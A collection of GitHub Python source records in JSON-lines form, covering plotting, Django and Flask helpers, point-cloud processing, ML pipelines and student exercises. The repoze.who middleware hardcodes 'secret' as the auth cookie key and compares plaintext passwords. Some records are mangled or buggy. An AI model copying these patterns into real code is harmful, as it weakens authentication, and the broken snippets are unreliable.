llect,J_collect]\n\nplt.close('all')\nfig,ax1=plt.subplots()\ndataframe=pandas.DataFrame(numpy.transpose(data),columns=names)\ncorr=dataframe.corr()\ncax=ax1.matshow(corr,cmap='coolwarm',vmin=-1,vmax=1,interpolation='none')\ncbar=fig.colorbar(cax)\nticks=numpy.arange(0,len(dataframe.columns),1)\nax1.set_xticks(ticks)\nax1.set_yticks(ticks)\nax1.set_xticklabels(dataframe.columns)\nax1.set_yticklabels(dataframe.columns)\nplt.xticks(rotation=90)\nax1.set_ylim([len(dataframe.columns)-0.5,-0.5])\nplt.tight_layout(pad=0.1)\nplt.savefig('corr.png')\n\nphases=[]\nfor p,valuep in enumerate(phaselist):\n\tphases.append(filenamelist[p]+':'+valuep)\n\nargsort=numpy.argsort(phases)\n\nfor i,valuei in enumerate(data):\n\tplt.close('all')\n\tyerr=numpy.array([])\n\tfor j in valuei:\n\t\tif '+/-' in str(j) and j.uncertainty1e3:\n\t\tplt.yscale('log')\n\tplt.tight_layout(pad=0.3)\n\tplt.savefig(names[i]+'.png')\n\n","repo_name":"Daniel-VO/XRD","sub_path":"plot_BGMN_pic.py","file_name":"plot_BGMN_pic.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27748603681","text":"import os\n\nfrom django.core.exceptions import ValidationError\n\n\ndef validate_file_extension(value):\n ext = os.path.splitext(value.name)[1]\n valid_extensions = ['.pdf', '.doc', '.docx', '.odt', '.rtf', '.jpg', '.jpeg', '.png', '.tif', '.tiff']\n if not ext.lower() in valid_extensions:\n raise ValidationError('Недоступне розширення файлу')\n","repo_name":"30Meridian/RozumneMistoSnapshot","sub_path":"news/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74623311066","text":"#!/usr/bin/python3\n\"\"\"\n0-prime_game\n\"\"\"\n\n\ndef isWinner(x, nums):\n \"\"\"\n Args:\n x - number of rounds.\n nums - list of n's.\n n - set of consecutive integers starting from 1 up to and including n\n Maria plays first and chooses prirme number\n and factors and removed from the list.\n \"\"\"\n score_dict = {\"Maria\": 0, \"Ben\": 0}\n prime_num_list = [0, 0, 2]\n insert_prime(max(nums), prime_num_list)\n\n for round in range(x):\n _sum = sum(\n (i != 0 and i <= nums[round])\n for i in prime_num_list[: nums[round] + 1]\n )\n if _sum % 2:\n winner = \"Maria\"\n else:\n winner = \"Ben\"\n if winner:\n score_dict[winner] += 1\n\n if score_dict[\"Maria\"] > score_dict[\"Ben\"]:\n return \"Maria\"\n elif score_dict[\"Ben\"] > score_dict[\"Maria\"]:\n return \"Ben\"\n\n return None\n\n\ndef check_prime(n):\n \"\"\"Check if n is a prime number\"\"\"\n for i in range(2, int(n**0.5) + 1):\n if not n % i:\n return False\n return True\n\n\ndef insert_prime(n, prime_num_list):\n \"\"\"Add prime to list\"\"\"\n last_prime = prime_num_list[-1]\n if n > last_prime:\n for i in range(last_prime + 1, n + 1):\n if check_prime(i):\n prime_num_list.append(i)\n else:\n prime_num_list.append(0)\n","repo_name":"David-Motari/alx-interview","sub_path":"0x0A-primegame/0-prime_game.py","file_name":"0-prime_game.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9307534729","text":"from musicapi.models import User, Artist, Album, Song\n\nclass ExceptionBase(Exception):\n code = None\n message = None\n \n def __init__(self):\n if self.code is None:\n raise ValueError(\"Code cannot be None\")\n \n if self.message is None:\n raise ValueError(\"Message cannot be None\")\n \n def response(self) -> dict:\n return {\n \"message\": self.message\n }, self.code\n \nclass ModelNotFoundException(ExceptionBase):\n code: int = 404\n message: str = '%s not found!'\n model = None\n \n def __init__(self) -> None:\n if self.model is None:\n raise ValueError(\"Model cannot be None\")\n \n def response(self) -> dict:\n msg, code = super().response()\n msg['message'] = msg['message'] % self.model.__name__\n \n return msg, code\n \nclass UserNotAdminException(ExceptionBase):\n code = 403\n message = 'User is not admin'\n\nclass UserNotFoundException(ModelNotFoundException):\n model = User\n\nclass ArtistNotFoundException(ModelNotFoundException):\n model= Artist\n\nclass AlbumNotFoundException(ModelNotFoundException):\n model = Album\n \nclass SongNotFoundException(ModelNotFoundException):\n model = Song\n","repo_name":"SSleimann/music-flask-api","sub_path":"musicapi/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"1666379733","text":"login_form = \"\"\"\n\n\n Log In\n\n\n
\n Log In\n
\n
\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n
User Name
Password
\n
\n
\n  
\n\n\n\"\"\"\n\nfrom zope.interface import implements\nfrom zope.component import getUtility, getGlobalSiteManager\n\nfrom repoze.who.interfaces import IAuthenticator, IMetadataProvider\nfrom repoze.who.utils import resolveDotted\nfrom repoze.bfg.interfaces import IRootFactory\n\nfrom repoze.zodbconn.finder import dbfactory_from_uri\n\ndef default_checker(password, against):\n return password == against\n\nclass ZODBPlugin(object):\n implements(IAuthenticator, IMetadataProvider)\n dbfactory = staticmethod(dbfactory_from_uri) # for testing override\n \n def __init__(self, zodb_uri, users_finder, base, checker=default_checker):\n self.zodb_uri = zodb_uri\n self.users_finder = users_finder\n self.base = base\n self.db = None\n self.checker = checker\n \n def _getdb(self):\n if self.db is None:\n dbfactory = self.dbfactory(self.zodb_uri)\n self.db = dbfactory()\n return self.db\n \n def _getusers(self, conn):\n root = conn.root()\n return self.users_finder(root, self.base)\n \n def authenticate(self, environ, identity):\n if not 'login' in identity:\n return None\n conn = self._getdb().open()\n try:\n users = self._getusers(conn)\n user = users.get(identity['login'], None)\n if user and self.checker(identity['password'], user.password):\n return user.id\n finally:\n conn.close()\n \n def add_metadata(self, environ, identity):\n userid = identity.get('repoze.who.userid')\n conn = self._getdb().open()\n try:\n users = self._getusers(conn)\n user = users.get(userid, None)\n if user:\n identity['groups'] = user.groups\n except:\n identity['groups'] = []\n finally:\n conn.close()\n \n\ndef middleware(app, base):\n from repoze.who.middleware import PluggableAuthenticationMiddleware\n from repoze.who.interfaces import IIdentifier, IChallenger\n from repoze.who.plugins.basicauth import BasicAuthPlugin\n from repoze.who.plugins.auth_tkt import AuthTktCookiePlugin\n from repoze.who.plugins.form import FormPlugin\n \n def find_users(root, base):\n from mint.repoze.root import ZODBInit\n init = ZODBInit(base)\n mint_root = init(root)\n return mint_root['users']\n \n zodb = ZODBPlugin('zeo://localhost:8100', find_users, base, checker=default_checker)\n basicauth = BasicAuthPlugin('Mint')\n auth_tkt = AuthTktCookiePlugin('secret', 'auth_tkt')\n # move to RedirectingFormPlugin\n form = FormPlugin('__do_login', rememberer_name='auth_tkt', formbody=login_form)\n form.classifications = { IIdentifier:['browser'],\n IChallenger:['browser'] } # only for browser\n identifiers = [('form', form),('auth_tkt',auth_tkt),('basicauth',basicauth)]\n #authenticators = [('htpasswd', htpasswd)]\n authenticators = [('zodb', zodb)]\n challengers = [('form', form),('basicauth',basicauth)]\n mdproviders = [('groups', zodb)]\n \n from repoze.who.classifiers import default_request_classifier, default_challenge_decider\n log_stream = None\n import os, logging, sys\n #if os.environ.get('WHO_LOG'):\n log = logging.getLogger('mint.repoze.auth')\n \n middleware = PluggableAuthenticationMiddleware(\n app,\n identifiers,\n authenticators,\n challengers,\n mdproviders,\n default_request_classifier,\n default_challenge_decider,\n log_stream = log,\n log_level = logging.DEBUG\n )\n\n return middleware\n \n\n\n\n","repo_name":"junkafarian/mint.repoze","sub_path":"mint/repoze/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"34582960165","text":"# Converts .syx to .e2pat\nimport argparse\nfrom e2_syx_codec import syx_dec\n\n\ndef main():\t\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file\", metavar=\"filepath\", type=str, help=\"path/to/file.syx\")\n\n args = parser.parse_args()\n\n with open(args.file, 'rb') as f:\t\n data = bytearray(f.read())\n\n if data[6] == 0x40:\t\t\t\t\t\t# remove syx header from 'current pattern dump'\n data = data[7:-1]\t\t\n elif data[6] == 0x4c:\t\t\t\t\t# remove syx header from 'pattern dump'\n data = data[9:-1]\n\n\n pat_data = syx_to_pat(data)\n\n outfile = args.file[:-3] + 'e2pat'\t\t\t# change filename extension\n with open(outfile, 'wb') as f:\n f.write(pat_data)\n\n print(args.file + ' converted to ' + outfile)\n\n\n\ndef syx_to_pat(syx_data):\n \n pat_head = (b'KORG'.ljust(16, b'\\x00') + \n b'electribe'.ljust(16, b'\\x00') +\n b'\\x01\\x00\\x00\\x00'.ljust(224, b'\\xff'))\n \n pat_data = pat_head + syx_dec(syx_data)\n \n return pat_data\n\nif __name__ == '__main__':\n main()\n","repo_name":"bangcorrupt/hacktribe","sub_path":"scripts/e2syx2pat.py","file_name":"e2syx2pat.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"11"} +{"seq_id":"11236738170","text":"\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndef vocalnoPlot(data:pd.DataFrame,\n x = 'log2FoldChange',\n y = 'pvalue',\n title = 'vocanlo',\n xlim = None,\n ylim = None,\n colors = None,\n **kwargs):\n # 先设置一下自己的颜色\n \n \"\"\"\n example use: \n vocalnoPlot(differentialGeneTable, x = 'fc', y = 'pval', xlim=[0, 4], title = \"differential analysis vocanlo\")\n plt.savefig(\"pic.png\",dpi = 200)\n \"\"\"\n if not colors:\n colors = [\"#01c5c4\",\"#ff414d\", \"#686d76\"]\n \n sns.set_palette(sns.color_palette(colors))\n\n # 绘图\n ax=sns.scatterplot(x=x, y=y,data=data,\n hue='type',#颜色映射\n hue_order=[\"down\", \"up\", \"nosig\"],\n edgecolor = None,#点边界颜色\n s=8,#点大小\n )\n # 标签\n ax.set_title(title)\n ax.set_xlabel(\"log2FC\")\n ax.set_ylabel(\"-log10(pvalue)\")\n if isinstance(xlim, list):\n ax.set_xlim(xlim)\n if isinstance(xlim, list):\n ax.set_ylim(ylim)\n #移动图例位置\n ax.legend(loc='center right', bbox_to_anchor=(0.95,0.76), ncol=1)\n return ax ","repo_name":"1511878618/biopy_blogs","sub_path":"生信工具使用/常用画图/火山图/volcano.py","file_name":"volcano.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"38809359138","text":"# Loading and import of libraries and dependencies\nimport os\nimport sys\nfrom src.exception import CustomException\nfrom src.logger import logging\nimport pandas as pd\n\nfrom sklearn.model_selection import train_test_split\nfrom dataclasses import dataclass\n\nfrom src.components.data_transformation import DataTransformation\nfrom src.components.data_transformation import DataTransformationConfig\n\nfrom src.components.model_trainer import ModelTrainerConfig\nfrom src.components.model_trainer import ModelTrainer\n\n# Creating dataclass\n'''\nA data class is a special type of class that is designed to store data\n'''\n@dataclass\nclass DataIngestionConfig:\n '''Identifying initial path for train, test and raw data'''\n train_data_path: str = os.path.join('artifacts',\"train.csv\")\n test_data_path: str = os.path.join('artifacts',\"test.csv\")\n raw_data_path: str = os.path.join('artifacts',\"data.csv\")\n\nclass DataIngestion:\n def __init__(self):\n '''Initializing ingestion parameters including path'''\n self.ingestion_config = DataIngestionConfig()\n\n def initiate_data_ingestion(self):\n logging.info(\"Data ingestion task started\")\n try:\n df = pd.read_csv('notebook/data/stud.csv')\n logging.info('Dataset loading to DataFrame completed')\n '''Identifying file directories to store data'''\n os.makedirs(os.path.dirname(self.ingestion_config.train_data_path),exist_ok = True)\n\n df.to_csv(self.ingestion_config.raw_data_path,index = False,header = True)\n\n logging.info(\"Data split task started\")\n \n train_set,test_set = train_test_split(df, test_size = 0.2, random_state = 42)\n '''Train and Test splitted datasets stored on directory'''\n train_set.to_csv(self.ingestion_config.train_data_path, index=False, header=True)\n test_set.to_csv(self.ingestion_config.test_data_path, index=False, header=True)\n \n logging.info(\"Data split task completed\")\n logging.info(\"Data ingestion task completed\")\n\n return(\n self.ingestion_config.train_data_path,\n self.ingestion_config.test_data_path,\n self.ingestion_config.raw_data_path\n )\n \n except Exception as e:\n raise CustomException(e, sys)\n \nif __name__==\"__main__\":\n '''Initializing Data Ingestion object to kick-off tasks.\n It will get as a result the path of train, test and raw data'''\n obj = DataIngestion()\n train_data, test_data, raw_data = obj.initiate_data_ingestion()\n \n '''Initializing Data Transformation to normalize and encode data as needed. \n It will get as result train array, test array and a file on artifacts folder'''\n data_transformation = DataTransformation()\n train_arr,test_arr,_ = data_transformation.initiate_data_transformation(train_data, test_data, raw_data)\n\n '''Initializing Model Trainer function to execute different in order to choose the best model according to performance.\n It will return the R2 Square and best model identified.'''\n modeltrainer = ModelTrainer()\n print(modeltrainer.initiate_model_trainer(train_arr, test_arr))","repo_name":"danielczz/mlproject","sub_path":"src/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9304973668","text":"#coding:utf-8\nimport urllib.parse\nfrom datetime import datetime, date, timedelta\n\n# 获取清算完成的净值请求url\nclass GetSettleUrl(object):\n # 天天基金请求url构造\n def getTtjjFundUrl(self):\n # 所有基金请求url\n start_urls = []\n # 所有爬取基金的代码\n codes = [\n '001595', # 天弘中证银行\n '001632', # 天弘中证食品饮料\n '005918', # 天弘沪深300\n '001630', # 天弘中证计算机\n '001553', # 天弘中证证券保险\n '001549', # 天弘上证50\n '001618', # 天弘中证电子\n '001551', # 天弘中证医药\n '001559', # 天弘医疗健康\n '002979', # 广发金融地产\n '002982', # 广发养老产业\n '002974', # 广发信息技术\n '005693', # 广发中证军工\n '002984', # 广发中证环保产业\n '002977', # 广发中证全指可选消费\n '007882', # 易方达沪深300非银行金融\n '007029', # 易方达中证500\n '004744', # 易方达创业板\n '007301', # 国联安中证全指半导体\n '005940' # 工银瑞信新能源汽车主题混合C\n ]\n # 拼接请求url\n orgUrl = \"http://fund.eastmoney.com/f10/F10DataApi.aspx\"\n # 找到当前日的前一天\n yesterday = (date.today() + timedelta(days = -1)).strftime(\"%Y-%m-%d\")\n print(yesterday)\n for code in codes:\n params = {'type': 'lsjz', 'code': code, 'page': 1, 'per': 20, 'sdate': yesterday, 'edate': yesterday}\n query_string = urllib.parse.urlencode(params)\n url = orgUrl + '?' + query_string\n start_urls.append(url)\n\n return start_urls\n","repo_name":"lxqHit/pythonPub","sub_path":"tutorial/tutorial/spiders/theSettleValueGetUrl.py","file_name":"theSettleValueGetUrl.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32259120269","text":"#1.Write a function that uses while, if and continue statements to print all the even numbers between \n#0 and 50. \ndef even_numbers():\n x=0\n while x<=50:\n if x%2!=0:\n x+=1\n continue\n print(x)\n\n\n#Write a function that takes an integer argument and prints \"Prime\" if the \n#number is prime, and \"Not prime\" if the number is not prime.\n# def prime numbers(n):\n# if n <=1:\n# print(\"Not prime\")\n# return\n# for i in range(2, int(n **0.5)+1):\n# if n%i ==0:\n# print(\"Not prime\")\n# return \n# print(\"Prime\") \n\n# Write a function that takes a list of integers as input and prints the sum of all the even numbers \n#in the list.\n\ndef sum_even_numbers(number):\n sum = 0\n for num in numbers:\n if num % 2 ==0:\n sum+=num\n print(sum) \n\n\n#Write a function that takes any two integers as input, and prints the sum of all the numbers between \n# the two integers (inclusive) that are divisible by 3.\ndef divisible_by_three(a,b):\n p = 0\n for num in range(a, b+1):\n if num % 3==0:\n p+=num\n print(p) \n\n\n\n \n\n\n\n\n\n\n\n","repo_name":"kivuvarosekivuvan/pythonClassWork","sub_path":"functions/control_assignment.py","file_name":"control_assignment.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72759955866","text":"import pdal\nimport os\nfrom subprocess import Popen, PIPE\nimport tempfile\nimport ujson as json\nimport warnings\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nimport shapely.wkt\nimport dask\nimport dask.dataframe as dd\nimport xarray as xr\nimport uuid\nfrom sklearn.base import BaseEstimator, TransformerMixin, RegressorMixin\nfrom joblib import load\nimport statsmodels.api as sm\n\n\ndef get_outline_from_pointcloud(entwine_path, origin_file = None, edge_size = 0.5):\n '''\n PDAL pipeline that reads points from entwine_path,\n calculates the outline of the pointcloud and returns it as a shapely object\n '''\n pipe= [\n {\n \"type\":\"readers.ept\",\n \"filename\":entwine_path+'/ept.json'\n },\n {\n \"type\" : \"filters.hexbin\",\n \"edge_size\" : edge_size\n }\n ]\n if origin_file is not None:\n pipe[0][\"origin\"] = origin_file\n pipeline = pdal.Pipeline(json.dumps(pipe))\n pipeline.loglevel = 8 #really noisy\n pipeline.validate()\n pipeline.execute()\n return shapely.wkt.loads(json.loads(pipeline.metadata)['metadata']['filters.hexbin'][0]['boundary'])\n\ndef get_outline_from_pointcloud_stream(entwine_path, origin_file = None, edge_size = 0.5):\n '''\n PDAL info command to extract the outline of the point cloud\n The resulting polygon, with edge length edge_size is returned as a shapelyobject\n '''\n pipe= [\n {\n \"type\":\"readers.ept\",\n \"filename\":entwine_path+'/ept.json'\n },\n {\n \"type\" : \"filters.hexbin\",\n \"edge_size\" : edge_size \n }\n ]\n if origin_file is not None:\n pipe[0][\"origin\"] = origin_file\n with tempfile.NamedTemporaryFile(mode=\"w+\", delete=False) as f:\n p = Popen(['pdal','pipeline','--stdin','--stream','--metadata',f.name], stdin=PIPE)\n p.communicate(input=json.dumps(pipe).encode())\n metadata = json.loads(f.read())\n metadatafile = f.name\n os.remove(metadatafile)\n return shapely.wkt.loads(metadata['stages']['filters.hexbin']['boundary'])\n\n \ndef get_base_extract_pipe(entwine_path, point, distance, origin_file = None):\n '''\n PDAL pipeline that reads points from entwine,\n crops them to sphere with center point and radius distance\n If supplied, the points are filtered to those extracted from the origin_file\n '''\n pipe=[\n {\n \"type\":\"readers.ept\",\n \"filename\":entwine_path+'/ept.json',\n \"bounds\":\"(\"+ \\\n \"[{},{}]\".format(point.x-distance, point.x+distance) + \\\n \",\" + \\\n \"[{},{}]\".format(point.y-distance, point.y+distance) + \\\n \",\" + \\\n \"[{},{}]\".format(point.z-distance, point.z+distance) + \\\n \")\"\n },\n {\n \"type\":\"filters.crop\",\n \"point\": point.wkt,\n \"distance\": distance\n }\n ]\n if origin_file is not None:\n pipe[0][\"origin\"] = origin_file\n return pipe\n \n## The code below uses the python api to pdal but this does not support all ept reader options\n# def pdal_extract(entwine_path, point, distance, dimension, origin_file = None):\n# '''\n# PDAL pipeline that reads points from entwine,\n# crops them to sphere with center point and radius distance,\n# and calculates statistics of dimension\n# '''\n# pipe= [\n# {\n# \"type\":\"readers.ept\",\n# \"filename\":entwine_path+'/ept.json',\n# \"bounds\":\"(\"+ \\\n# \"[{},{}]\".format(point.x-distance, point.x+distance) + \\\n# \",\" + \\\n# \"[{},{}]\".format(point.y-distance, point.y+distance) + \\\n# \",\" + \\\n# \"[{},{}]\".format(point.z-distance, point.z+distance) + \\\n# \")\"\n# },\n# {\n# \"type\":\"filters.crop\",\n# \"point\": point.wkt,\n# \"distance\": distance\n# },\n# {\n# \"type\":\"filters.stats\",\n# \"dimensions\":dimension\n# }\n# ]\n# if origin_file is not None:\n# pipe[0][\"origin\"] = origin_file\n# print(pipe)\n# pipeline = pdal.Pipeline(json.dumps(pipe))\n# pipeline.loglevel = 8 #really noisy\n# pipeline.validate()\n# pipeline.execute()\n# return pipeline\n\ndef extract_stats_in_sphere(entwine_path, point, distance, dimension, origin_file=None):\n '''\n Extends the base PDAL extract pipeline with a filter that calculates the statics of the dimension in the sphere\n Executes the pipeline and returns the statistics as a dictionnary\n '''\n # get base pipe\n pipe = get_base_extract_pipe(entwine_path, point, distance, origin_file)\n # open a temporary file to write to\n with tempfile.NamedTemporaryFile(mode=\"w+\", delete=False) as f:\n # add the filter that calculates the stats\n pipe.append(\n {\n \"type\":\"filters.stats\",\n \"dimensions\":dimension\n } \n )\n pipe.append(\n {\n \"type\":\"writers.null\"\n } \n )\n p = Popen(['pdal','pipeline','--stdin','--metadata',f.name], stdin=PIPE)\n p.communicate(input=json.dumps(pipe).encode())\n metadatafile = f.name\n try:\n metadata = json.loads(f.read())['stages']['filters.stats']['statistic'][0]\n except Exception as e:\n warnings.warn('No stats could be read for point:{} as a result of the following exception {}. Passing NaNs '.format(point.wkt, e))\n metadata = {}\n os.remove(metadatafile)\n return metadata\n\n\ndef gather_stats_from_pointcloud_dask(distance, dimension, index, points, entwine_paths, origin_files=None):\n '''\n This function runs the extract_stats_in_sphere for each point in points in parrallel using Dask.\n Points should be a geoseries object with an index and a geometry\n Returns a pandas dataframe with the statistics.\n '''\n lazy_results = []\n for point, entwine_path, origin_file in zip(points, entwine_paths, origin_files):\n lazy_results.append(dask.delayed(extract_stats_in_sphere)(entwine_path=entwine_path,\n point=point,\n distance=distance,\n dimension=dimension,\n origin_file=origin_file))\n results = dask.compute(*lazy_results)\n results = pd.DataFrame(results).set_index(index)\n return results\n\ndef gather_stats_from_pointcloud_loop(distance, dimension, index, points, entwine_paths, origin_files=None):\n '''\n This function runs the extract_stats_in_sphere for each point in points in a loop.\n Points should be a geoseries object with an index and a geometry\n Returns a pandas dataframe with the statistics.\n '''\n results = pd.DataFrame()\n for point, entwine_path, origin_file in zip(points, entwine_paths, origin_files):\n results = results.append(extract_stats_in_sphere(entwine_path=entwine_path,\n point=point,\n distance=distance,\n dimension=dimension,\n origin_file=origin_file),\n ignore_index=True)\n results = results.set_index(index)\n return results\n\n\n@dask.delayed\ndef extract_points_in_sphere(entwine_path, index, point, distance, dtype, origin_file=None):\n '''\n Extends the base PDAL extract pipeline with a writer that outputs all the extracted points to a csv file\n Executes the pipeline, reads the data from the csv files, and returns it as a pandas DataFrame with as index the initial point provided.\n '''\n # get base pipe\n pipe = get_base_extract_pipe(entwine_path, point, distance, origin_file)\n # open a temporary file to write to\n with tempfile.NamedTemporaryFile(mode=\"w+\", delete=False) as f:\n # add the writer that writes to the temporary file\n pipe.append(\n {\n \"type\":\"writers.text\",\n \"format\":\"csv\",\n \"order\":\",\".join(dtype.keys()),\n \"keep_unspecified\":\"false\",\n \"filename\": f.name\n } \n )\n p = Popen(['pdal','pipeline','--stdin'], stdin=PIPE)\n p.communicate(input=json.dumps(pipe).encode())\n datafile = f.name\n df = pd.read_csv(datafile, dtype = dtype)\n df.index = [index]*len(df)\n os.remove(datafile)\n return df\n\n\ndef gather_points_from_pointcloud(entwine_paths, index, points, distance, origin_files=None, dtype = {'Alpha': np.int32,\n 'Blue': np.int32,\n 'Green': np.int32,\n 'OriginId': np.int32,\n 'Red': np.int32,\n 'X': np.float64,\n 'Y': np.float64,\n 'Z': np.float64,\n 'value_db': np.float64}):\n '''\n This function runs the extract_points_in_sphere for each point in points.\n Points should be a geoseries object with an index and a geometry\n Returns a pandas dataframe with all the points\n '''\n lazy_results = []\n # consider adding index so that this can be passed to dask\n for i, point, entwine_path, origin_file in zip(index, points, entwine_paths, origin_files):\n lazy_results.append(extract_points_in_sphere(entwine_path=entwine_path,\n index = i,\n point=point,\n distance=distance,\n dtype = dtype,\n origin_file=origin_file))\n # we return it as a dask dataframe on which we can later do operations\n results = dd.from_delayed(lazy_results, meta = dtype)\n return results\n\nclass EntwineStatsExtractorLoop(BaseEstimator, TransformerMixin):\n # List of features in 'feature_names' and the 'power' of the exponent transformation\n def __init__(self, distance, dimension, statistic):\n self.distance = distance\n self.dimension = dimension\n self.statistic = statistic\n def fit(self, X, y=None):\n return self\n def transform(self, X, y=None):\n output = gather_stats_from_pointcloud_loop(distance=self.distance,\n dimension=self.dimension,\n index = X.index,\n points= X.geometry,\n entwine_paths = x.entwine_path,\n origin_files=X.linename)\n # if no points were in the radius, replace 0's with nan's, this will throw an error in the estimator\n # print('No points for ' + str((output['count'] == 0).sum()) + ' sample(s)')\n output[output['count'] == 0] = output[output['count'] == 0].replace(0,np.nan)\n # print(output[self.statistic].shape)\n # return the desired statistic\n return output[[self.statistic]]\n def inverse_transform(self, X):\n return X\n \nclass EntwineStatsExtractorParrallel(BaseEstimator, TransformerMixin):\n # List of features in 'feature_names' and the 'power' of the exponent transformation\n def __init__(self, distance, dimension, statistic):\n self.distance = distance\n self.dimension = dimension\n self.statistic = statistic\n def fit(self, X, y=None):\n return self\n def transform(self, X, y=None):\n output = gather_stats_from_pointcloud_dask(distance=self.distance,\n dimension=self.dimension,\n index = X.index,\n points= X.geometry,\n entwine_paths=X.entwine_path,\n origin_files=X.linename)\n # if no points were in the radius, replace 0's with nan's, this will throw an error in the estimator\n # print('No points for ' + str((output['count'] == 0).sum()) + ' sample(s)')\n output[output['count'] == 0] = output[output['count'] == 0].replace(0,np.nan)\n # print(output[self.statistic].shape)\n # return the desired statistic\n return output[[self.statistic]]\n def inverse_transform(self, X):\n return X\n\nclass SMWrapper(BaseEstimator, RegressorMixin):\n \"\"\" A universal sklearn-style wrapper for statsmodels regressors \"\"\"\n def __init__(self, model_class, fit_intercept=True):\n self.model_class = model_class\n self.fit_intercept = fit_intercept\n def fit(self, X, y):\n if self.fit_intercept:\n X = sm.add_constant(X)\n self.model_ = self.model_class(y, X)\n self.results_ = self.model_.fit()\n return self\n def predict(self, X, with_uncertainty = False):\n if self.fit_intercept:\n X = sm.add_constant(X)\n if with_uncertainty:\n return self.results_.get_prediction(X).summary_frame()\n return self.results_.predict(X)\n\n@dask.delayed\ndef raster_from_entwine(entwine_path,\n minx, maxx,\n miny, maxy,\n minz, maxz,\n dimension = 'value_db',\n statistic = 'mean',\n radius = 10,\n raster_resolution = 10,\n origin_file = None,\n tmp_raster_path = 'data/tmp'):\n '''\n PDAL pipeline that reads points from entwine_path within the bounds (minx, maxx, miny, maxy, minz, maxz) and creates a 2D raster defined by minx, maxx, miny, maxy and the raster resolution, where each raster value is calculated by taking the statistic from the dimenions, in a cylinder with radius around the raster cell center. \n Returns the file path to the raster in GeoTIFF (.tif) format stored in the tmp_raster_path\n '''\n # create a unique filepath to store the raster file in\n file_name = tmp_raster_path+'/'+str(uuid.uuid4())+'.tif'\n # generate a pipeline\n pipe=[\n {\n \"type\":\"readers.ept\",\n \"filename\":entwine_path+'/ept.json',\n \"bounds\":\"(\"+ \\\n \"[{},{}]\".format(minx, maxx) + \\\n \",\" + \\\n \"[{},{}]\".format(miny, maxy) + \\\n \",\" + \\\n \"[{},{}]\".format(minz, maxz) + \\\n \")\"\n\n }, \n # {\n # \"type\":\"filters.range\",\n # \"limits\":\"Z[{}:{}]\".format(z_min,z_max)\n # },\n {\n \"type\": \"writers.gdal\",\n \"bounds\":\"(\"+ \\\n \"[{},{}]\".format(minx, maxx) + \\\n \",\" + \\\n \"[{},{}]\".format(miny, maxy) + \\\n \")\",\n \"dimension\": dimension,\n \"power\": 0.0, #turn off inverse distance weighting\n \"output_type\": statistic,\n \"resolution\": raster_resolution, # raster resolution\n \"radius\": radius, #radius around raster cell center from which points are averaged\n \"gdaldriver\": \"GTiff\",\n \"filename\":file_name\n }\n ]\n # add origin file if supplied\n if origin_file is not None:\n pipe[0][\"origin\"] = origin_file\n # run pdal pipeline in stream mode\n p = Popen(['pdal','pipeline','--stdin','--stream'], stdin=PIPE)\n p.communicate(input=json.dumps(pipe).encode())\n # read in the produced data file, squeeze the band coordinate, add the z coordinate and rename the band_data\n raster = xr.load_dataset(file_name, engine = 'rasterio').squeeze('band', drop = True).assign_coords({'z':(minz+maxz)/2.}).rename(name_dict = {'band_data':statistic+'_'+dimension})\n return raster\n\n\ndef get_raster_bounds(entwine_path):\n # Get Z bounds from entwine index\n with open(entwine_path+'/ept.json') as f:\n bounds = json.load(f)['boundsConforming']\n minz, maxz = bounds[2],bounds[5]\n # get x, y bounds from outline file\n # caclulate outline of of the pointcloud if it doesn't already exist in the entwine path\n if not os.path.exists(entwine_path+'/outline.json'):\n outline = get_outline_from_pointcloud_stream(entwine_path)\n gpd.GeoSeries([outline]).to_file(entwine_path+\"/outline.json\", driver=\"GeoJSON\")\n else:\n outline = gpd.read_file(entwine_path+'/outline.json').geometry[0]\n minx, miny, maxx, maxy = outline.bounds\n return (minx, maxx, miny, maxy, minz, maxz)\n\n\n\ndef generate_raster_stack(entwine_path,\n minx, maxx,\n miny, maxy,\n minz, maxz,\n z_levels,\n dimension = 'value_db',\n statistic = 'mean',\n radius = 10,\n raster_resolution = 10,\n origin_file = None,\n tmp_raster_path = 'data/tmp'):\n '''\n Wraps raster_from_entwine and creates 2D rasters in parllel for z_levels\n Returns a stacks the reaster as a multidemensional xarray\n '''\n # create 2d rasters for each z level in parallel\n lazy_results = []\n for z_level in z_levels:\n lazy_results.append(raster_from_entwine(entwine_path = entwine_path,\n minx = minx, maxx = maxx,\n miny = miny, maxy = maxy,\n minz = z_level.left, maxz = z_level.right,\n dimension = dimension,\n statistic = statistic,\n radius = radius,\n raster_resolution = raster_resolution,\n origin_file = origin_file,\n tmp_raster_path = tmp_raster_path))\n \n # compute the rasters\n rasters = dask.compute(*lazy_results)\n # return the rasters stacked along the z dimension\n return xr.concat(rasters, dim = 'z')\n \ndef predict_raster_from_model(raster_file,\n model_file,\n x_dimension,\n output_raster_path,\n exp_y_dimension = True,\n stack_coords = (\"x\",\"y\",\"z\")):\n '''\n Takes in:\n - a raster_file pointing to a 